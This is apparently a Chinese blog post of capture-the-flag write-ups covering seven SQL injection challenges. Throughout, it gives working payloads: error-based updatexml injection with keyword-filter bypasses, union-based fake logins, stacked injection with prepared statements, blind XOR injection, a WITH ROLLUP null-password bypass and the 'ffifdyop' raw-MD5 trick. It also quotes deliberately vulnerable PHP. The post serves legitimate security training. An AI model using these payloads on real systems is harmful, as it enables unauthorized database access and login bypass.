• CTF-SQL


    目录

    1、极客大挑战 2019]HardSQL

    2、[GXYCTF2019]BabySQli

    3、supersqli

    4、[RCTF2015]EasySQL 

    5、[CISCN2019 华北赛区 Day2 Web1]Hack World 

    6、ctf.show_web10

    6、[BJDCTF2020]Easy MD5


    1、极客大挑战 2019]HardSQL

    很多东都被过滤了,无法绕过,用字典扫一下发现left,right,select,updataxml,extractvalue可以用:

     

     而且有显示报错信息,所以用报错注入,单引号闭合:

     空格被过滤了用()代替,and用^代替,=用like代替:

    表名:

    1'^updatexml(1,concat(0x7e,((select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),0x7e),1)#

     列名:

    1'^updatexml(1,concat(0x7e,((select(group_concat(column_name))from(information_schema.columns)where(table_name)like'H4rDsq1')),0x7e),1)#

    字段内容:

    1'^updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1)#

     报错注入内容显示不完全最多显示30,我们用right显示后边的内容拼接起来:

    1'^updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1)#

    right和group_concat可以一起使用: 

    1'^updatexml(1,concat(0x7e,(select(right(group_concat(password),30))from(H4rDsq1)),0x7e),1)#

    2、[GXYCTF2019]BabySQli

    先查字段,字段为3推测是id,uers,passwd,然后利用联合查询生成虚拟数据登录,注意密码要md5值,但是这个用户名要存在才行,用户名可以用字典试试,但是这里admin很明显:

    name=1' union select 1,'admin','202cb962ac59075b964b07152d234b70'# &pw=123

    3、supersqli

    select被过滤:

    报错注入查看数据库名。

    堆叠注入+预编译

    查看表名:id=1’;ues 数据库名;show tables;--+

    查看列名:id=1’;use 数据库名;show columns from `表名`;#

    查看字段内容:id=1';set @sql = CONCAT('sele','ct * from `表名`;');prepare aaa from @sql;EXECUTE aaa;#

    Handler:

    handler table_name open打开一张表
    handel table_name read first读取第一行内容,
    handel table_name read next依次获取其它行

    handler `表名` open;handler `表名` read first;#

    4、[RCTF2015]EasySQL 

    二次注入当注册用户后面是双引号时,修改密码会报错,所以是双引号闭合。有报错就用报错注入,把注入语句注册成为用户名,然后点击修改密码就可以执行报错注入。

    最终得到flag有两个难题:一个是里面字段数太多,报错注入显示的字符有限,所以用regexp(’^f’)将f开头的进行匹配。第二个是:flag的长度也超了,但是mid,left,right,substr函数都被禁用了,所以用reverse反转函数输出后面的flag。

    空格和and被过滤了,用&&,||和括号绕过

    1"||(updatexml(1,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')),1))#
    

     

     1"||(updatexml(1,concat('~',reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#

     把后面的反转一下拼接起来就行了。

    5、[CISCN2019 华北赛区 Day2 Web1]Hack World 

     用盲注,没有报错信息,一个一个的试闭合,and 和or被过滤了用异或,发现:

    1^1^1

    显示正常

    1^0^1

    显示错误

    知道表名和列名直接盲注,不要用gruop_concat因为被过滤了:

    payload="1^(ascii(substr((select(flag)from(flag)),%d,1))>%d)^1"%(i,tmp)
    

    6、ctf.show_web10

     源码:

    1. $flag="";
    2. function replaceSpecialChar($strParam){
    3. $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
    4. return preg_replace($regex,"",$strParam);
    5. }
    6. if (!$con)
    7. {
    8. die('Could not connect: ' . mysqli_error());
    9. }
    10. if(strlen($username)!=strlen(replaceSpecialChar($username))){
    11. die("sql inject error");
    12. }
    13. if(strlen($password)!=strlen(replaceSpecialChar($password))){
    14. die("sql inject error");
    15. }
    16. $sql="select * from user where username = '$username'";
    17. $result=mysqli_query($con,$sql);
    18. if(mysqli_num_rows($result)>0){
    19. while($row=mysqli_fetch_assoc($result)){
    20. if($password==$row['password']){
    21. echo "登陆成功
      "
      ;
    22. echo $flag;
    23. }
    24. }
    25. }
    26. ?>

    源码中先根据用户名查询用户信息, 用户名通过以后, 再判断密码是否相同, 我们绕过用户名的过滤条件, 在使用 with rollup注入绕过密码。

    with rollup 可以对 group by 分组结果再次进行分组,并在最后添加一行数据用于展示结果( 对group by未指定的字段进行求和汇总, 而group by指定的分组字段则用null占位)

    我们使用万能用户名 a'/**/or/**/true/**/# 使SQL成立绕过用户名之后, 后台的SQL会查询出所有的用户信息, 然后依次判断查询处的用户名对应的密码和我们输入的密码是否相同, 这时候我们使用with rollup 对 group by 分组的结果再次进行求和统计, 由于with rollup 不会对group by 分组的字段( password)进行统计, 所以会在返回结果的最后一行用null来填充password, 这样一来我们的返回结果中就有了一个值为null的password , 只要我们登录的时候password输入框什么都不输, 那我么输入的password的值就是null, 跟查询出的用户密码相同( null == null), 从而登录成功

    '/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#

    6、[BJDCTF2020]Easy MD5

    select * from 'admin' where password=md5($pass,true)

    md5里面的值转换后变成:

    select * from 'admin' where password='xxxxxxxx'

    我们需要构造引号里面的值为:'or'xxxxx,'or'对应的16进制是 276f7227,在'or'后面还应该有一个数字,不然语句就为假。

    最终找到:ffifdyop
    md5值为:276f722736c95d99e921722cf9ed621c
    组成的语句就是:

    select * from 'admin' where password='or'6xxxxxxx'

     登录进去就是一个md5弱类型比较,数组绕过:

    a[]=1&b[]=2

    然后又进入: 

    1. error_reporting(0);
    2. include "flag.php";
    3. highlight_file(__FILE__);
    4. if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    5. echo $flag;
    6. }

    还是数组绕过:

    param1[]=1¶m2[]=2

     

  • 相关阅读:
    Snowflake(雪花算法),什么情况下会冲突?
    前后端分离之Ajax入门
    【科普向】Jmeter 如何测试接口保姆式教程
    【技术追踪】SAM(Segment Anything Model)代码解析与结构绘制之Mask Decoder
    PreparedStatement
    [附源码]java毕业设计在线课程网站
    如何用wireshark过滤媒体流
    使用$options初始化
    Linux实用操作-----快捷键的使用(收藏系列)
    lwIP 操作系统模拟层
  • 原文地址:https://blog.csdn.net/qq_61774705/article/details/126299828